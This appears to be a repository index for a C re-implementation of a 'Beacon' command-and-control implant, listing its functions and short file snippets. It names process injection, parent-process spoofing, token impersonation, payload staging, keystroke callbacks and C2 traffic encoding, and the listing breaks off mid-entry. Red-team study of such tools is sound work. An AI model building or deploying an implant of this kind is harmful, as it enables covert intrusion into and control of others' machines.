type bapi (line 13) | struct bapi
type RELOCATION (line 15) | typedef struct _RELOCATION
function BOOL (line 36) | BOOL ProcessRelocation(RELOCATION* relocation, char* code, char* img, ch...
function InlineExecuteObject (line 76) | void InlineExecuteObject(char* buffer, int length)
FILE: Beacon/job.c
type JOB_ENTRY (line 13) | typedef struct _JOB_ENTRY
function JOB_ENTRY (line 32) | JOB_ENTRY* JobAdd(JOB_ENTRY* newJob)
function JobCleanup (line 55) | void JobCleanup()
function JobKill (line 100) | void JobKill(char* buffer, int size)
function JobPrintAll (line 115) | void JobPrintAll()
function JOB_ENTRY (line 131) | JOB_ENTRY* JobRegisterProcess(PROCESS_INFORMATION* pi, HANDLE hRead, HAN...
function JobReadDataFromPipe (line 152) | int JobReadDataFromPipe(HANDLE hPipe, char* buffer, int size)
function JobReadDataFromPipeWithHeader (line 176) | int JobReadDataFromPipeWithHeader(HANDLE hPipe, char* buffer, int size)
function JOB_ENTRY (line 193) | JOB_ENTRY* JobRegisterPipe(HANDLE hRead, int pid32, int callbackType, ch...
function JobRegister (line 212) | void JobRegister(char* buffer, int size, BOOL impersonate, BOOL isMsgMode)
function JobSpawnInternal (line 251) | void JobSpawnInternal(int callbackType, int waitTime, int reflectiveLoad...
function JobSpawn (line 285) | void JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken)
function JobExecuteInternal (line 307) | void JobExecuteInternal(char* buffer, int length)
function BOOL (line 334) | BOOL kernel32$Wow64DisableWow64FsRedirection(PVOID* OldValue)
function BOOL (line 344) | BOOL kernel32$Wow64RevertWow64FsRedirection(PVOID OldValue)
function JobExecute (line 354) | void JobExecute(char* buffer, int length)
FILE: Beacon/link.c
type LINK_ENTRY (line 9) | typedef struct _LINK_ENTRY
function BOOL (line 22) | BOOL LinkAdd(PROTOCOL* protocol, int pivotHints)
function SOCKET (line 79) | SOCKET LinkViaTcpConnect(char* target, short port)
function LinkViaTcp (line 112) | void LinkViaTcp(char* buffer, int length)
function PipeReopen (line 140) | void PipeReopen(char* buffer, int length)
function PipeCloseInternal (line 155) | void PipeCloseInternal(int bid)
function PipeClose (line 171) | void PipeClose(char* buffer, int length)
type ROUTE_DATA (line 179) | typedef struct _ROUTE_DATA
function PipeRoute (line 186) | void PipeRoute(char* buffer, int length)
function PingHandle (line 257) | void PingHandle()
FILE: Beacon/main.c
function main (line 3) | int main(int argc, char* argv[])
FILE: Beacon/memory.c
type RECORD (line 3) | typedef struct RECORD
type RECORD_ENTRY (line 12) | typedef struct RECORD_ENTRY
function MemoryInsert (line 27) | void MemoryInsert(char* buffer, int length, int type, BOOL isHeap, void(...
function MemoryCleanup (line 56) | void MemoryCleanup()
function HEAP_RECORD (line 89) | HEAP_RECORD* MemoryGetHeapRecords()
FILE: Beacon/metadata.c
function BOOL (line 23) | BOOL SelfIsWindowsVistaOrLater()
function MetadataGenerate (line 28) | void MetadataGenerate(char* buffer, int size)
FILE: Beacon/metadata.h
type SESSION (line 3) | typedef struct SESSION
FILE: Beacon/network.c
function NetworkInit (line 30) | void NetworkInit(void)
function ULONG (line 47) | ULONG NetworkGetActiveAdapterIPv4()
function NetworkStatusCallback (line 76) | void NetworkStatusCallback(HINTERNET hInternet, DWORD_PTR dwContext, DWO...
function NetworkUpdateSettings (line 82) | void NetworkUpdateSettings(HINTERNET hInternet)
function BOOL (line 103) | BOOL NetworkCheckResponse(HINTERNET hInternet)
function NetworkGet (line 113) | int NetworkGet(const char* getUri, SESSION* session, char* data, const i...
function NetworkPost (line 179) | void NetworkPost(const char* uri)
function NetworkConfigureHttp (line 238) | void NetworkConfigureHttp(LPCSTR lpszServerName, INTERNET_PORT nServerPo...
function NetworkClose (line 311) | void NetworkClose(void)
FILE: Beacon/pipe.c
function BOOL (line 7) | BOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flags)
function PipeConnectWithTokenNoFlags (line 39) | int PipeConnectWithTokenNoFlags(LPCSTR filename, HANDLE* pipe)
function PipeConnectWithToken (line 57) | int PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags)
function BOOL (line 65) | BOOL PipeWaitForData(HANDLE hNamedPipe, DWORD waitTime, int iterWaitTime)
FILE: Beacon/powershell.c
function PowershellHostTcp (line 21) | void PowershellHostTcp(char* buffer, int size)
FILE: Beacon/process.c
function BOOL (line 9) | BOOL GetAccountNameFromToken(HANDLE hProcess, char* accountName, int len...
function ProcessList (line 21) | void ProcessList(char* buffer, int length) {
function BOOL (line 96) | BOOL ProcessKill(char* buffer, int length) {
FILE: Beacon/protocol.c
function ProtocolSmbPipeRead (line 10) | int ProtocolSmbPipeRead(HANDLE channel, char* buffer, int length)
function ProtocolTcpSocketRead (line 28) | int ProtocolTcpSocketRead(SOCKET channel, char* buffer, int length)
function BOOL (line 47) | BOOL ProtocolSmbPipeWrite(HANDLE hFile, char* buffer, int length)
function BOOL (line 66) | BOOL ProtocolTcpSocketWrite(SOCKET channel, char* buffer, int length)
function ProtocolSmbRead (line 85) | int ProtocolSmbRead(PROTOCOL* protocol, char* buffer, int length)
function ProtocolTcpRead (line 100) | int ProtocolTcpRead(PROTOCOL* protocol, char* buffer, int length)
function BOOL (line 115) | BOOL ProtocolTcpWrite(PROTOCOL* protocol, char* buffer, int length)
function BOOL (line 125) | BOOL ProtocolSmbWrite(PROTOCOL* protocol, char* buffer, int length)
function ProtocolTcpClose (line 135) | void ProtocolTcpClose(PROTOCOL* protocol)
function ProtocolSmbClose (line 141) | void ProtocolSmbClose(PROTOCOL* protocol)
function ProtocolSmbFlush (line 147) | void ProtocolSmbFlush(PROTOCOL* protocol)
function BOOL (line 152) | BOOL ProtocolSmbWaitForData(PROTOCOL* protocol, DWORD waitTime, int iter...
function BOOL (line 157) | BOOL ProtocolTcpWaitForData(PROTOCOL* protocol, DWORD waitTime, int iter...
function PROTOCOL (line 192) | PROTOCOL* ProtocolSmbInit(PROTOCOL* protocol, HANDLE handle)
function PROTOCOL (line 203) | PROTOCOL* ProtocolTcpInit(PROTOCOL* protocol, SOCKET socket)
function ProtocolSmbOpenExplicit (line 214) | void ProtocolSmbOpenExplicit(char* data)
FILE: Beacon/protocol.h
type CHANNEL (line 3) | typedef union _CHANNEL {
type PROTOCOL (line 8) | typedef struct _PROTOCOL {
FILE: Beacon/self.c
function Die (line 11) | void Die(void)
function SleepSet (line 17) | void SleepSet(char* buffer, int length)
function Pause (line 30) | void Pause(char* buffer, int length)
function BOOL (line 40) | BOOL BeaconIsExpired()
function BeaconInterrupt (line 54) | [[noreturn]] void BeaconInterrupt()
FILE: Beacon/spawn.c
function Spawn (line 19) | void Spawn(char* data, int size, BOOL x86, BOOL ignoreToken)
function SpawnAndPing (line 50) | void SpawnAndPing(char* data, int size, BOOL x86)
function DWORD (line 66) | DWORD SpawnToExpand(char* expanded, size_t size, BOOL x86)
function SpawnToFix (line 99) | void SpawnToFix(BOOL x86, char* cmd)
function BeaconGetSpawnTo (line 133) | void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
type INJECTION (line 142) | typedef struct _INJECTION
type WINBASEAPI (line 155) | typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE ...
type WINBASEAPI (line 156) | typedef WINBASEAPI HMODULE(WINAPI* FN_KERNEL32_LOADLIBRARYA)(_In_ LPCSTR...
type WINBASEAPI (line 157) | typedef WINBASEAPI FARPROC(WINAPI* FN_KERNEL32_GETPROCADDRESS)(_In_ HMOD...
type WINBASEAPI (line 158) | typedef WINBASEAPI LPVOID(WINAPI* FN_KERNEL32_VIRTUALALLOC)(_In_opt_ LPV...
type WINBASEAPI (line 159) | typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_VIRTUALPROTECT)(_In_ LPVOID ...
type CLIENT_ID (line 161) | typedef CLIENT_ID* PCLIENT_ID;
type SECTION_INHERIT (line 165) | typedef enum _SECTION_INHERIT {
function BOOL (line 171) | BOOL IsWow64ProcessEx(HANDLE hProcess)
function BOOL (line 185) | BOOL IsProcess64Bit(HANDLE hProcess)
type PAYLOAD (line 193) | typedef struct _PAYLOAD
function BOOL (line 319) | BOOL AdjustMemoryPermissions(char* payload, int size) {
function InjectIntoPid (line 362) | void InjectIntoPid(char* buffer, int length, BOOL x86)
function InjectIntoPidAndPing (line 401) | void InjectIntoPidAndPing(char* buffer, int length, BOOL x86)
function BOOL (line 415) | BOOL ExecuteViaCreateRemoteThread(HANDLE hProcess, LPVOID lpStartAddress...
function BOOL (line 420) | BOOL ExecuteViaRtlCreateUserThread(HANDLE hProcess, LPVOID lpStartAddres...
function BOOL (line 436) | BOOL ExecuteViaNtQueueApcThread_s(INJECTION* injection, LPVOID lpStartAd...
type APC_ROUTINE_CONTEXT (line 453) | typedef struct _APC_ROUTINE_CONTEXT
function NtQueueApcThreadProc (line 469) | __declspec(noinline) void NtQueueApcThreadProc(PAPC_ROUTINE_CONTEXT pData)
function NtQueueApcThreadProc_End (line 483) | __declspec(noinline) void NtQueueApcThreadProc_End(void) {}
function BOOL (line 486) | BOOL ExecuteViaNtQueueApcThread(INJECTION* injection, LPVOID lpStartAddr...
function BOOL (line 568) | BOOL ExecuteViaCreateRemoteThread_s(DWORD option, HANDLE hProcess, LPVOI...
function BOOL (line 611) | BOOL ExecuteViaSetThreadContext(INJECTION* injection, CHAR* lpStartAddre...
function BOOL (line 652) | BOOL ExecuteViaCreateThread(INJECTION* injection, CHAR* lpStartAddress, ...
function BOOL (line 657) | BOOL ExecuteInjection(INJECTION* injection, CHAR* lpStartAddress, DWORD ...
function InjectAndExecute (line 739) | void InjectAndExecute(INJECTION* injection, char* payload, int size, int...
function BeaconInjectProcessInternal (line 759) | void BeaconInjectProcessInternal(PROCESS_INFORMATION* processInfo, HANDL...
function BlockDlls (line 825) | void BlockDlls(char* buffer, int length)
function LPPROC_THREAD_ATTRIBUTE_LIST (line 832) | LPPROC_THREAD_ATTRIBUTE_LIST ProcThreadAttributeListInit(DWORD dwAttribu...
type RUN_UNDER_CONTEXT (line 847) | typedef struct _RUN_UNDER_CONTEXT {
function BOOL (line 854) | BOOL UpdateParentProcessContext(PRUN_UNDER_CONTEXT context, DWORD parent...
function CleanupParentProcessContext (line 898) | void CleanupParentProcessContext(PRUN_UNDER_CONTEXT context)
function PRUN_UNDER_CONTEXT (line 902) | PRUN_UNDER_CONTEXT ParentProcessContextInit(PRUN_UNDER_CONTEXT context)
function PRUN_UNDER_CONTEXT (line 910) | PRUN_UNDER_CONTEXT UpdateChildProcessContext(PRUN_UNDER_CONTEXT context,...
function CleanupChildProcessContext (line 929) | void CleanupChildProcessContext(PRUN_UNDER_CONTEXT context)
function PRUN_UNDER_CONTEXT (line 936) | PRUN_UNDER_CONTEXT ChildProcessContextInit(PRUN_UNDER_CONTEXT context)
type RUN_UNDER_CONFIG (line 943) | typedef struct _RUN_UNDER_CONFIG
function ProcThreadAttributeListDestroy (line 953) | void ProcThreadAttributeListDestroy(LPVOID lpAttributeList)
function BOOL (line 965) | BOOL ProcessCmdAdjust(PROCESS_INFORMATION* processInfo, EXPANDED_CMD* cm...
function BOOL (line 1049) | BOOL SpawnProcessWithLogon(RUN_UNDER_CONFIG* runUnderConfig, WCHAR* cmd,...
function BOOL (line 1073) | BOOL SpawnProcessWithTokenOrLogon(RUN_UNDER_CONFIG* runUnderConfig)
function BOOL (line 1129) | BOOL SpawnProcess(RUN_UNDER_CONFIG* execution)
function BOOL (line 1180) | BOOL RunAsUserInternal(LPCCH domain, LPCCH username, LPCCH password, LPC...
function RunAsUser (line 1234) | void RunAsUser(char* buffer, int length)
function BOOL (line 1267) | BOOL RunProcessWithAdjustedCmd(RUN_UNDER_CONFIG* execution)
function BOOL (line 1291) | BOOL RunUnder_(RUN_UNDER_CONFIG* runUnderConfig, int parentPid)
function BOOL (line 1343) | BOOL RunUnder(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCES...
function BOOL (line 1350) | BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, ...
function RunUnderPid (line 1355) | void RunUnderPid(char* buffer, int length)
function BeaconInjectProcess (line 1380) | void BeaconInjectProcess(HANDLE hProcess, int pid, char* payload, int p_...
function BeaconInjectTemporaryProcess (line 1385) | void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* pa...
function BOOL (line 1390) | BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO...
function BeaconCleanupProcess (line 1397) | void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
function Execute (line 1407) | void Execute(char* buffer, int length)
function BOOL (line 1429) | BOOL SpawnAsUserInternal(BOOL x86, char* lpDomain, char* lpUsername, cha...
function SpawnAsUser (line 1436) | void SpawnAsUser(char* buffer, int length, BOOL x86)
function BOOL (line 1476) | BOOL SpawnUnderInternal(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PRO...
function SpawnUnder (line 1483) | void SpawnUnder(char* buffer, int length, BOOL x86)
function BOOL (line 1508) | BOOL RunIsSameSessionAsCurrent(int pid)
function RunSetParentPid (line 1521) | void RunSetParentPid(char* buffer, int length)
function SpawnSetTo (line 1534) | void SpawnSetTo(char* buffer, int length, BOOL x86)
FILE: Beacon/stage.c
function StagePayloadViaTcp (line 10) | int StagePayloadViaTcp(char* buffer, int length)
function StagePayloadViaPipe (line 43) | void StagePayloadViaPipe(char* buffer, int length)
FILE: Beacon/strategy.c
function BOOL (line 22) | BOOL StrategyMarkRetry(
FILE: Beacon/strategy.h
type STRATEGY (line 5) | typedef struct STRATEGY
FILE: Beacon/task.c
function TaskDispatch (line 21) | void TaskDispatch(int cmd, char* buffer, int size)
function TaskProcess (line 256) | void TaskProcess(char* buffer, int length)
FILE: Beacon/thread.c
type THREAD_INFO (line 8) | typedef struct THREAD_INFO {
function CFGCautionThreadStub (line 18) | __declspec(noinline) void CFGCautionThreadStub(THREAD_INFO* threadInfo)
function CFGCautionThreadStubEnd (line 26) | __declspec(noinline) void CFGCautionThreadStubEnd(void) {}
function HANDLE (line 29) | HANDLE CreateThreadWithCfgCaution(LPTHREAD_START_ROUTINE lpStartAddress,...
function HANDLE (line 48) | HANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpPa...
FILE: Beacon/transform.c
function TransformInit (line 30) | void TransformInit(TRANSFORM* transform, int size)
function TransformEncode (line 47) | void TransformEncode(TRANSFORM* transform,
function TransformDecode (line 220) | int TransformDecode(char* recover, char* recoverable, int recoverableLen...
function TransformDestroy (line 302) | void TransformDestroy(TRANSFORM* transform)
FILE: Beacon/transform.h
type TRANSFORM (line 5) | typedef struct TRANSFORM
FILE: Beacon/utils.c
function DWORD (line 5) | DWORD ExpandEnvironmentStrings_s(const char* lpSrc, char* lpDst, size_t ...
function RoundToNearestMultiple (line 18) | int RoundToNearestMultiple(int value, int multiple)
function RoundToNearestEven (line 23) | int RoundToNearestEven(int value)
function RandomIntInRange (line 28) | int RandomIntInRange(int min, int max)
function RandomInt (line 33) | int RandomInt(void)
function RandomEvenInt (line 40) | int RandomEvenInt(void)
function ToNetbios (line 45) | int ToNetbios(const char nb, const char* in, const int inlen, char* out,...
function FromNetbios (line 58) | int FromNetbios(const char nb, const char* in, const int inlen, char* ou...
function XorMask (line 72) | int XorMask(const char* in, const int inlen, char* out, const int outlen)
function XorUnmask (line 85) | int XorUnmask(const char* in, const int inlen, char* out, const int outlen)
FILE: Beacon/web_response.c
type WEB_RESPONSE (line 9) | typedef struct WEB_RESPONSE
function WEB_RESPONSE (line 19) | WEB_RESPONSE* WebResponseInit(SOCKET socket, char* content, int contentL...
function WebResponseDestroy (line 43) | void WebResponseDestroy(WEB_RESPONSE* webResponse)
function WebResponseReceiveUntilNewline (line 52) | int WebResponseReceiveUntilNewline(SOCKET socket, char* data, int size)
function WebResponseThread (line 73) | void WebResponseThread(WEB_RESPONSE* webResponse)
function WebServerInit (line 92) | void WebServerInit(short port, char* content, int contentLength)
function WebServerLocal (line 119) | void WebServerLocal(char* buffer, int length)
Condensed preview — 72 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (251K chars).
[
{
"path": ".gitattributes",
"chars": 2518,
"preview": "###############################################################################\n# Set default behavior to automatically "
},
{
"path": ".gitignore",
"chars": 6269,
"preview": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## G"
},
{
"path": "Beacon/Beacon.vcxproj",
"chars": 13328,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msb"
},
{
"path": "Beacon/Beacon.vcxproj.filters",
"chars": 6789,
"preview": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuil"
},
{
"path": "Beacon/api.c",
"chars": 1672,
"preview": "#include \"pch.h\"\n\n#include \"api.h\"\n\nvoid BeaconAPI(bapi* beaconApi)\n{\n\t*beaconApi = (bapi){\n\t\tLoadLibraryA,\n\t\tFreeLibrar"
},
{
"path": "Beacon/api.h",
"chars": 2106,
"preview": "#pragma once\n#include \"beacon.h\"\n\n#define MAX_DYNAMIC_FUNCTIONS 32\n\ntypedef struct _bapi\n{\n\tHMODULE (*fnLoadLibraryA)(LP"
},
{
"path": "Beacon/argument.c",
"chars": 3296,
"preview": "#include \"pch.h\"\n\n#include \"argument.h\"\n\n#include \"beacon.h\"\n#include \"utils.h\"\n\ntypedef struct _ARGUMENT_ENTRY\n{\n\tBOOL "
},
{
"path": "Beacon/argument.h",
"chars": 269,
"preview": "#pragma once\n\ntypedef struct _EXPANDED_CMD\n{\n\tchar* fullCmd;\n\tchar* cmd;\n} EXPANDED_CMD;\n\nBOOL ArgumentFindMatch(EXPANDE"
},
{
"path": "Beacon/beacon.c",
"chars": 62,
"preview": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\n#include \"settings.h\"\n\n"
},
{
"path": "Beacon/beacon.h",
"chars": 7254,
"preview": "/*\n * Beacon Object Files (BOF)\n * -------------------------\n * A Beacon Object File is a light-weight post exploitation"
},
{
"path": "Beacon/callback.h",
"chars": 973,
"preview": "#pragma once\n\n#define CALLBACK_OUTPUT 0\n#define CALLBACK_KEYSTROKES 1\n#define CALLBACK_FILE 2\n#define CALLBACK_SCREENSHO"
},
{
"path": "Beacon/channel.c",
"chars": 11505,
"preview": "#include \"pch.h\"\n\n#include \"channel.h\"\n\n#include \"beacon.h\"\n#include \"link.h\"\n#include \"network.h\"\n#include \"protocol.h\""
},
{
"path": "Beacon/channel.h",
"chars": 368,
"preview": "#pragma once\n\nvoid ChannelListen(char* buffer, int length);\nvoid ChannelLSocketTcpPivot(char* buffer, int length);\nvoid "
},
{
"path": "Beacon/command.h",
"chars": 2912,
"preview": "#pragma once\n\n#define COMMAND_SPAWN 1\n#define COMMAND_SHELL 2\n#define COMMAND_DIE 3\n#define COMMAND_SLEEP 4\n#define COMM"
},
{
"path": "Beacon/crypto.c",
"chars": 1749,
"preview": "#include \"pch.h\"\n\n#include \"crypto.h\"\n\nint gHashSha256;\nint gAesCipher;\n\nchar gCbcKey[16];\nchar gHmacKey[16];\nchar gIv[1"
},
{
"path": "Beacon/crypto.h",
"chars": 135,
"preview": "#pragma once\n\nvoid CryptoSetupSha256AES(char* in);\n\nvoid EncryptSessionData(char* pubkey, char* in, int inlen, char* out"
},
{
"path": "Beacon/data.c",
"chars": 2965,
"preview": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\ndatap* BeaconDataAlloc(int size)\n{\n\tdatap* parser = (datap*)malloc(sizeof(datap))"
},
{
"path": "Beacon/download.c",
"chars": 4616,
"preview": "#include \"pch.h\"\n\n#include \"download.h\"\n\n#include \"beacon.h\"\n\ntypedef struct DOWNLOAD_ENTRY\n{\n\tint fid;\n\tint remainingDa"
},
{
"path": "Beacon/download.h",
"chars": 157,
"preview": "#pragma once\n\nvoid DownloadDo(char* buffer, int length);\n\nvoid DownloadCancel(char* buffer, int length);\n\nvoid Upload(ch"
},
{
"path": "Beacon/error.h",
"chars": 1993,
"preview": "#pragma once\n\n#define ERROR_OPEN_TOKEN_FAILED 1\n#define ERROR_MAXIMUM_LINKS_REACHED 2\n#define ERROR_CONNECT_TO_PIPE_TIME"
},
{
"path": "Beacon/filesystem.c",
"chars": 6857,
"preview": "#include \"pch.h\"\n\n#include \"filesystem.h\"\n\n#include \"beacon.h\"\n\nvoid FilesystemCd(char* buffer, int length)\n{\n\tchar path"
},
{
"path": "Beacon/filesystem.h",
"chars": 367,
"preview": "#pragma once\n\nvoid FilesystemCd(char* buffer, int length);\nvoid FilesystemPwd();\nvoid FilesystemMkdir(char* buffer, int "
},
{
"path": "Beacon/format.c",
"chars": 1818,
"preview": "#include \"pch.h\"\n\n#include \"beacon.h\"\n\nvoid BeaconFormatAlloc(formatp* format, int maxsz)\n{\n\tchar* buffer = (char*)mallo"
},
{
"path": "Beacon/identity.c",
"chars": 13177,
"preview": "#include \"pch.h\"\n\n#include \"identity.h\"\n\n#include \"beacon.h\"\n#include \"thread.h\"\n\n\nHANDLE gIdentityToken;\nBOOL gIdentity"
},
{
"path": "Beacon/identity.h",
"chars": 737,
"preview": "#pragma once\n\nextern HANDLE gIdentityToken;\nextern BOOL gIdentityIsLoggedIn;\n\n#define IDENTITY_MAX_WCHARS_DOMAIN 256\n#de"
},
{
"path": "Beacon/inline_execute_object.c",
"chars": 6131,
"preview": "#include \"pch.h\"\n\n#include \"inline_execute_object.h\"\n\n#include \"api.h\"\n#include \"beacon.h\"\n#include \"settings.h\"\n#includ"
},
{
"path": "Beacon/inline_execute_object.h",
"chars": 65,
"preview": "#pragma once\n\nvoid InlineExecuteObject(char* buffer, int length);"
},
{
"path": "Beacon/job.c",
"chars": 9665,
"preview": "#include \"pch.h\"\n\n#include \"job.h\"\n\n#include \"beacon.h\"\n#include \"identity.h\"\n#include \"pipe.h\"\n#include \"protocol.h\"\n#i"
},
{
"path": "Beacon/job.h",
"chars": 257,
"preview": "#pragma once\n\nvoid JobSpawn(char* buffer, int size, BOOL x86, BOOL ignoreToken);\nvoid JobRegister(char* buffer, int size"
},
{
"path": "Beacon/link.c",
"chars": 5419,
"preview": "#include \"pch.h\"\n\n#include \"link.h\"\n\n#include \"beacon.h\"\n#include \"network.h\"\n#include \"protocol.h\"\n\ntypedef struct _LIN"
},
{
"path": "Beacon/link.h",
"chars": 424,
"preview": "#pragma once\n#include \"protocol.h\"\n\n#define HINT_REVERSE 0x10000\n#define HINT_FORWARD 0\n#define HINT_PROTO_PIPE 0\n#defin"
},
{
"path": "Beacon/logger.h",
"chars": 1077,
"preview": "#pragma once\n\n#ifdef _DEBUG\n\n#define ANSI_COLOR_RED \"\\x1b[31m\"\n#define ANSI_COLOR_GREEN \"\\x1b[32m\"\n#define ANSI_CO"
},
{
"path": "Beacon/macros.h",
"chars": 296,
"preview": "#pragma once\n\n#define STRLEN(s) ((int)((sizeof(s)/sizeof(s[0])) - 1))\n\n#if _WIN64\n#define HIDWORD(x) ((DWORD)((DWORD64)("
},
{
"path": "Beacon/main.c",
"chars": 54,
"preview": "#include \"pch.h\"\n\nint main(int argc, char* argv[])\n{\n}"
},
{
"path": "Beacon/memory.c",
"chars": 2536,
"preview": "#include \"pch.h\"\n\ntypedef struct RECORD\n{\n\tchar* ptr;\n\tsize_t size;\n} RECORD, HEAP_RECORD;\n\n#define ALLOC_TYPE_MALLOC 1\n"
},
{
"path": "Beacon/metadata.c",
"chars": 3749,
"preview": "#include \"pch.h\"\n\n#include \"metadata.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n#include \"crypto.h\"\n#include \"network"
},
{
"path": "Beacon/metadata.h",
"chars": 143,
"preview": "#pragma once\n\ntypedef struct SESSION\n{\n\tint bid;\n\tint length;\n\tchar data[1024];\n} SESSION;\n\nextern int osMajorVersion;\ne"
},
{
"path": "Beacon/network.c",
"chars": 7948,
"preview": "#include \"pch.h\"\n\n#include \"network.h\"\n\n#include \"identity.h\"\n#include \"metadata.h\"\n#include \"settings.h\"\n#include \"tran"
},
{
"path": "Beacon/network.h",
"chars": 136,
"preview": "#pragma once\n\n// Localhost for little endian\n#define LOCALHOST 0x0100007f\n\nvoid NetworkInit(void);\n\nULONG NetworkGetActi"
},
{
"path": "Beacon/pch.c",
"chars": 16,
"preview": "#include \"pch.h\""
},
{
"path": "Beacon/pch.h",
"chars": 893,
"preview": "#pragma once\n\n/*\n * Include convention for this project:\n * 1. Precompiled header\n * 2. The \".h\" file for the current so"
},
{
"path": "Beacon/pipe.c",
"chars": 1664,
"preview": "#include \"pch.h\"\n\n#include \"pipe.h\"\n\n#include \"identity.h\"\n\nBOOL PipeConnect(LPCSTR lpFileName, HANDLE* pipe, DWORD flag"
},
{
"path": "Beacon/pipe.h",
"chars": 159,
"preview": "#pragma once\n\nint PipeConnectWithToken(LPCSTR filename, HANDLE* pipe, DWORD flags);\n\nBOOL PipeWaitForData(HANDLE hNamedP"
},
{
"path": "Beacon/powershell.c",
"chars": 624,
"preview": "#include \"pch.h\"\n\n#include \"powershell.h\"\n\n#include \"beacon.h\"\n#include \"web_response.h\"\n\nchar* gImportedPshScript;\n\ncha"
},
{
"path": "Beacon/powershell.h",
"chars": 110,
"preview": "#pragma once\n\nchar* PowershellImport(char* buffer, int size);\n\nvoid PowershellHostTcp(char* buffer, int size);"
},
{
"path": "Beacon/process.c",
"chars": 2590,
"preview": "#include \"pch.h\"\n\n#include \"process.h\"\n\n#include \"beacon.h\"\n\n#include \"spawn.h\"\n\nBOOL GetAccountNameFromToken(HANDLE hPr"
},
{
"path": "Beacon/process.h",
"chars": 102,
"preview": "#pragma once\n\nvoid ProcessList(char* buffer, int length);\n\nBOOL ProcessKill(char* buffer, int length);"
},
{
"path": "Beacon/protocol.c",
"chars": 6630,
"preview": "#include \"pch.h\"\n\n#include \"protocol.h\"\n\n#include \"link.h\"\n#include \"beacon.h\"\n#include \"pipe.h\"\n#include \"settings.h\"\n\n"
},
{
"path": "Beacon/protocol.h",
"chars": 525,
"preview": "#pragma once\n\ntypedef union _CHANNEL {\n\tHANDLE handle;\n\tSOCKET socket;\n} CHANNEL;\n\ntypedef struct _PROTOCOL {\n\tCHANNEL c"
},
{
"path": "Beacon/self.c",
"chars": 1191,
"preview": "#include \"pch.h\"\n\n#include \"self.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n\nint gSleepTime;\nint gJitter;\n\nvoid Die(v"
},
{
"path": "Beacon/self.h",
"chars": 109,
"preview": "#pragma once\n\nvoid Die(void);\nvoid SleepSet(char* buffer, int length);\nvoid Pause(char* buffer, int length);\n"
},
{
"path": "Beacon/spawn.c",
"chars": 46070,
"preview": "#include \"pch.h\"\n\n#include \"spawn.h\"\n\n#include <tlhelp32.h>\n#include <winternl.h>\n\n#include \"beacon.h\"\n#include \"setting"
},
{
"path": "Beacon/spawn.h",
"chars": 864,
"preview": "#pragma once\n\nvoid SpawnAndPing(char* data, int size, BOOL x86);\n\nvoid BlockDlls(char* buffer, int length);\n\nvoid Execut"
},
{
"path": "Beacon/stage.c",
"chars": 2023,
"preview": "#include \"pch.h\"\n\n#include \"stage.h\"\n\n#include \"beacon.h\"\n#include \"link.h\"\n#include \"network.h\"\n#include \"pipe.h\"\n\nint "
},
{
"path": "Beacon/stage.h",
"chars": 115,
"preview": "#pragma once\n\nint StagePayloadViaTcp(char* buffer, int length);\nvoid StagePayloadViaPipe(char* buffer, int length);"
},
{
"path": "Beacon/strategy.c",
"chars": 1097,
"preview": "#include \"pch.h\"\n\n#include \"strategy.h\"\n\n#include \"settings.h\"\n#include \"utils.h\"\n\n#define STRATEGY_DEFAULT 0\n#define ST"
},
{
"path": "Beacon/strategy.h",
"chars": 232,
"preview": "#pragma once\n\n#include <stdbool.h>\n\ntypedef struct STRATEGY\n{\n\tint seconds;\n\tint failSeconds;\n\tint failX;\n} STRATEGY;\n\nc"
},
{
"path": "Beacon/strategy_default.c",
"chars": 468,
"preview": "\nchar* StrategyPickDomain(\n\tconst char* domains,\n\tconst bool isConnectionStrategyFailed, STRATEGY strategy)\n{\n\tstatic ch"
},
{
"path": "Beacon/strategy_failover.c",
"chars": 2386,
"preview": "\nchar* StrategyPickDomain(\n const char* domains,\n const bool isConnectionStrategyFailed, STRATEGY strategy)\n{\n "
},
{
"path": "Beacon/strategy_random.c",
"chars": 930,
"preview": "\nchar* StrategyPickDomain(\n\tconst char* domains,\n\tconst bool isConnectionStrategyFailed, STRATEGY strategy) {\n\tstatic ch"
},
{
"path": "Beacon/task.c",
"chars": 6371,
"preview": "#include \"pch.h\"\n\n#include \"job.h\"\n#include \"argument.h\"\n#include \"beacon.h\"\n#include \"channel.h\"\n#include \"command.h\"\n#"
},
{
"path": "Beacon/thread.c",
"chars": 1576,
"preview": "#include \"pch.h\"\n\n#include \"thread.h\"\n\n#include \"settings.h\"\n#include \"spawn.h\"\n\ntypedef struct THREAD_INFO {\n\tLPTHREAD_"
},
{
"path": "Beacon/thread.h",
"chars": 123,
"preview": "#pragma once\n\nextern int gThreadsActive;\n\nHANDLE CreateThreadEx(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParamete"
},
{
"path": "Beacon/transform.c",
"chars": 9186,
"preview": "#include \"pch.h\"\n\n#include \"transform.h\"\n\n#include \"beacon.h\"\n#include \"settings.h\"\n#include \"utils.h\"\n\n#define STEP_NON"
},
{
"path": "Beacon/transform.h",
"chars": 615,
"preview": "#pragma once\n\n#include \"beacon.h\"\n\ntypedef struct TRANSFORM\n{\n\tconst char* headers;\n\tconst char* uriParams;\n\tconst char*"
},
{
